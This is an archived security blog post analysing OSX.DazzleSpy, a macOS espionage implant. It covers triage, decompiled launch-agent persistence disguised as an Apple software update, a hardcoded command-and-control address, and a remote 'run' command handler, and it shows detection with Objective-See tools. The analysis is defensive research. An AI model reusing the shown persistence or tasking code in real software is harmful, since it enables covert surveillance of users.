Analyzing OSX.DazzleSpy Archived: 2026-04-05 19:49:30 UTC Analyzing OSX.DazzleSpy A fully-featured cyber-espionage macOS implant by: Patrick Wardle / January 25, 2022 Objective-See's research, tools, and writing, are supported by the "Friends of Objective-See" such as: šŸ“ šŸ‘¾ Want to play along? I’ve uploaded an OSX.DazzleSpy sample (password: infect3d) to our macOS malware collection. ...please don’t infect yourself! Background Recently (as in this morning), researchers Marc-Etienne M.LĆ©veillĆ© and Anton Cherepanov of ESET published an intriguing report titled, ā€œWatering hole deploys new macOS malware, DazzleSpy, in Asiaā€: In this excellent report, they detail both the exploit and macOS payload used to target pro-democracy users in Hong Kong: "[A] Hong Kong pro-democracy radio station website [was] compromised to serve a Safari exploit that installed cyberespionage malware on site visitors' Macs. Here we provide a breakdown of the WebKit https://objective-see.com/blog/blog_0x6D.html Page 1 of 12 exploit used to compromise Mac users and an analysis of the payload, which is a new malware family targeting macOS." -ESET I was interested in digging a bit deeper into the macOS implant, as well as seeing how it stacked up against Objective-See’s free open-source tools. šŸ“š Interested in general Mac malware analysis techniques? Triage ESET’s report provided a hash for the decrypted macOS implant, OSX.DazzleSpy : EE0678E58868EBD6603CC2E06A134680D2012C1B They noted that this file is dropped by the Safari exploit (and persisted on disk as softwareupdate ). Popping over to VirusTotal, we can grab a copy of DazzleSpy: DazzleSpy ...on VirusTotal It was first submitted to VirusTotal on 2022-01-26 and at that time, only detected by ESET. Using macOS’ built-in file utility, we can see that this item is a standard mach-O binary: % file DazzleSpy/softwareupdate softwareupdate: Mach-O 64-bit executable x86_64 As its not compiled for arm64, it will not run natively on Apple’s new M1 chips. Of course, thanks to Rosetta2 (Apple’s intel -> arm ā€œtranslatorā€), the malware will still likely run on such systems. https://objective-see.com/blog/blog_0x6D.html Page 2 of 12 Via WhatsYourSign , my open-source utility that displays code-signing information via the UI, we can see that the malware is unsigned: DazzleSpy ...is unsigned The ESET report, notes that the exploit will "remove the com.apple.quarantineattribute from the file [malware] to avoid [macOS] asking the user to confirm the launch of the unsigned executable" Now let’s run the strings utility to extracted any embedded (ASCII) strings: % strings - DazzleSpy/softwareupdate ... networksetup -listallhardwareports /Library/.local csrutil status System Integrity Protection status: disabled. IOPlatformUUID IOPlatformSerialNumber ProductVersion Asia/Shanghai ... 88.218.192.128:5633 ... https://objective-see.com/blog/blog_0x6D.html Page 3 of 12 %@/.local %@/softwareupdate %@/Library/LaunchAgents /com.apple.softwareupdate.plist launchctl unload %@ RunAtLoad KeepAlive dumpKeychain .local/security/keystealDaemon docx xltx pptx ... pages numbers text %@/.local/SearchFiles +[Singleton installDaemon] -[Singleton shellClass] -[Singleton processClass] -[Singleton keychainClass] -[Singleton remoteDesktopClass] -[Singleton updateClass] -[Singleton fileClass] -[Singleton fileClassWriteData:] -[Singleton recoveryClass] /Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.m /Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.o ... The output from strings is rather telling and includes: What appears to be survey API calls and strings: listallhardwareports , IOPlatformSerialNumber , etc. An embedded address, 88.218.192.128:5633 likely the malware’s C&C server. Strings related to launch item persistence: %@/Library/LaunchAgents , /com.apple.softwareupdate.plist , RunAtLoad , etc. Strings that appear to be related to dumping the user keychain, searching for files (via extension), etc. etc. https://objective-see.com/blog/blog_0x6D.html Page 4 of 12 Objective-C class and method names (such as a Singleton class with references to other interesting classes). Paths containing a user name, and perhaps the internal name of the malware ( osxrk ). We can also run macOS’ otool command with the -L flag to determine the dynamic libraries that DazzleSpy is linked against: % otool -L DazzleSpy/softwareupdate softwareupdate: /System/Library/Frameworks/VideoToolbox.framework/Versions/A/VideoToolbox /System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit /System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN ... /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork /System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia /System/Library/Frameworks/Security.framework/Versions/A/Security /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo Based on the linked libraries, we can gain some likely insight into the malware’s capabilities. For example, it links again the AVFoundation framework to implement remote desktop (RDP) capabilities. Finally, as we saw various Objective-C classes and methods names in the output from strings , lets run reconstruct these via class-dump . Abridged output is below: % class-dump DazzleSpy/softwareupdate ... @interface Exec : NSObject { } + (id)doShellInCmd:(id)arg1; @end @interface Singleton : NSObject { ... } + (void)installDaemon; ... @end @interface FileSearchClassObject : NSObject https://objective-see.com/blog/blog_0x6D.html Page 5 of 12 { NSTask *_searchTask; NSMutableString *_searchString; NSDictionary *_searchDict; ... } ... - (void)searchFile:(id)arg1; ... @end @interface RemoteDesktopClassObject : NSObject { AVCaptureSession *captureSession; AVCaptureConnection *connectionVideo; H264EncodeTool *_h264Encoder; MouseClassObject *_mouse; } ... - (void)restartRDP; - (void)mouseEventDict:(id)arg1; - (void)stopRemoteDesktop; - (void)startRemoteDesktop:(CDUnknownBlockType)arg1; - (void)captureOutput:(id)arg1 didOutputSampleBuffer:(struct opaqueCMSampleBuffer *)arg2 fromConnecti @end @interface KeychainClassObject : NSObject { } + (void)unzipFile:(id)arg1 toPath:(id)arg2; - (id)getPasswordFromSecKeychainItemRef:(struct __SecKeychainItem *)arg1; - (id)getPass:(id)arg1 cmdTo:(id)arg2; ... @end Simply from these class and method names, we can gain significant insight into the malware’s likely capabilities. Of course, we should confirm that the class/method names do indeed match their logic. For example, does the installDaemon really persist the malware? …let’s find out! Persistence The ESET researchers noted: https://objective-see.com/blog/blog_0x6D.html Page 6 of 12 "In order to persist on the compromised device, the malware adds a Property List file ... named com.apple.softwareupdate.plist to the LaunchAgents folder. The malware executable file is named softwareupdate and saved in the $HOME/.local/ folder." -ESET Recall that from the strings output, we saw strings such as %@/Library/LaunchAgents and com.apple.softwareupdate.plist . In a disassembler, we find cross-references to these strings in the aforementioned installDaemon method (of the class named Singleton ): 1/* @class Singleton */ 2+(void)installDaemon { 3... 4 5rax = NSHomeDirectory(); 6var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax]; 7var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"]; 8if ([var_70 fileExistsAtPath:var_78] == 0x0) { 9 [var_70 createDirectoryAtPath:var_78 withIntermediateDirectories:0x1 ...]; 10... 11 12var_90 = [[NSMutableDictionary alloc] init]; 13var_98 = [[NSMutableArray alloc] init]; 14[var_98 addObject:var_38]; 15[var_98 addObject:@"1"]; 16rax = @(YES); 17[var_90 setObject:rax forKey:@"RunAtLoad"]; 18rax = @(YES); 19[var_90 setObject:rax forKey:@"KeepAlive"]; 20rax = @(YES); 21[var_90 setObject:rax forKey:@"SuccessfulExit"]; 22[var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"]; 23[var_90 setObject:var_98 forKey:@"ProgramArguments"]; 24 25[var_90 writeToFile:var_80 atomically:0x0]; In the above decompilation, we first see the malware build the path to a launch agent plist ( ~/Library/LaunchAgents/com.apple.softwareupdate.plist ). Then, it initializes a dictionary for the launch agent plist, with various key value pairs ( RunAtLoad , etc). Once initialized this dictionary is written out to the launch agent plist ( com.apple.softwareupdate.plist ). We can passively observe the malware (recall, named softwareupdate ) dynamically creating this plist via a File Monitor: https://objective-see.com/blog/blog_0x6D.html Page 7 of 12 # FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Desktop/softwareupdate" ], "path" : "/Users/user/Desktop/softwareupdate", "pid" : 1469 } } } Once the malware’s launch agent’s plist has been created, we can easily dump its contents: % cat /Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist ?xml version="1.0" encoding="UTF-8"?> UBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd KeepAliveLabelcom.apple.softwareupdateProgramArguments/Users/user/.local/softwareupdate1RunAtLoadSuccessfulExit https://objective-see.com/blog/blog_0x6D.html Page 8 of 12 In the ProgramArguments key we can see the path to the persistent location of the malware: ~/.local/softwareupdate . Also, as the RunAtLoad key is set to true , the malware will be automatically restarted each time the user logs in. Persistence achieved! C&C Communications and Capabilities The ESET report notes that the malware will connect to 88.218.192.128 on port 5633 : "DazzleSpy connects to a hardcoded C&C server; the IP address and port found in the sample we decrypted was 88.218.192[.]128:5633." -ESET Recall that we saw this ip address/port in the output of strings , meaning that it is directly hardcoded into the malware. In a disassembler, we can see it is referenced in the malware’s main method: 1int _main(int arg0, int arg1) { 2 ... 3 commandAndControl = [[NSString alloc] initWithUTF8String:"88.218.192.128:5633"]; 4 5 6 singleton = [Singleton sharedInstance]; 7 8 var_40 = [commandAndControl componentsSeparatedByString:@":"]; 9 if ([var_40 count] == 0x2) { 10 ip = [var_40 objectAtIndexedSubscript:0x0]; 11 port = [var_40 objectAtIndexedSubscript:0x1]; 12 } 13 14 [singleton setSocketHost:ip]; 15 [singleton setSocketPort:port]; 16 17 ... Specifically the hardcoded ip address and port string is first split (on : ), and then the ip address is passed to the setSocketHost: method, while the port, to the setSocketPort: method. The ESET report also describes the tasking (remote) commands that DazzleSpy supports. This includes everything you’d expect to find in a cyber-espionage implant, including surveying the infected host, exfiltrating files, running commands, self-deletion. Interestingly, the malware (again, as noted by ESET), also supports more advanced features such as: The ability to search for files (via regex?) The ability to start fully interactive remote desktop (RDP) session The ability to dump the keychain (on systems vulnerable to CVE-2019-8526 ). https://objective-see.com/blog/blog_0x6D.html Page 9 of 12 The handling of remote commands (tasking) seems to be implemented in the analysisData: Socket: method. Here the malware looks for tasking commands from the command and control server, and then acts upon them. For example, here’s the decompilation of the run command, which opens (ā€œrunsā€) a specified file (ā€œpathā€) via its default handler (via NSWorkspace ’s’ openFile API): 1if (YES == [command isEqualToString:@"run"]) { 2 path = [var_888 objectForKeyedSubscript:@"path"]; 3 ... 4 [NSWorkspace.sharedWorkspace openFile:path]; 5} DazzleSpy vs. Objective-See Whenever a new piece of malware is uncovered I like to see how Objective-See’s free open-source tools stack up. Good news (and no really no surprise) they are able to detect and thus thwart this new threat, even with no a priori knowledge of it! šŸ˜ Recall that when the malware was uploaded to VirusTotal (by ESET?), ESET was the only AV engine to detect it! First, BlockBlock detects the malware’s launch agent persistence ( com.apple.softwareupdate.plist ): BlockBlock alert LuLu, our free, open-source firewall detects when the malware attempts to connect out to its command and control server ( 88.218.192.128 ) for tasking: https://objective-see.com/blog/blog_0x6D.html Page 10 of 12 LuLu alert And if you’re worried that you are already infected, KnockKnock can uncover the malware’s persistence (after the fact): KnockKnock detection Conclusions In this blog post, we dove into OSX.DazzleSpy a rather feature complete cyber-espionage macOS implant (discovered by ESET). https://objective-see.com/blog/blog_0x6D.html Page 11 of 12 Specifically we discussed: How to triage the sample How the malware persisted The malware’s remote tasking/capabilities. Finally, we showed that if you were running Objective-See’s free macOS tools the malware wouldn’t have stood a chance! 😁 Mahalo again to Marc-Etienne and Anton for their excellent report! šŸ™šŸ½ šŸ’• Support Me: Love these blog posts? You can support them via my Patreon page! Source: https://objective-see.com/blog/blog_0x6D.html https://objective-see.com/blog/blog_0x6D.html Page 12 of 12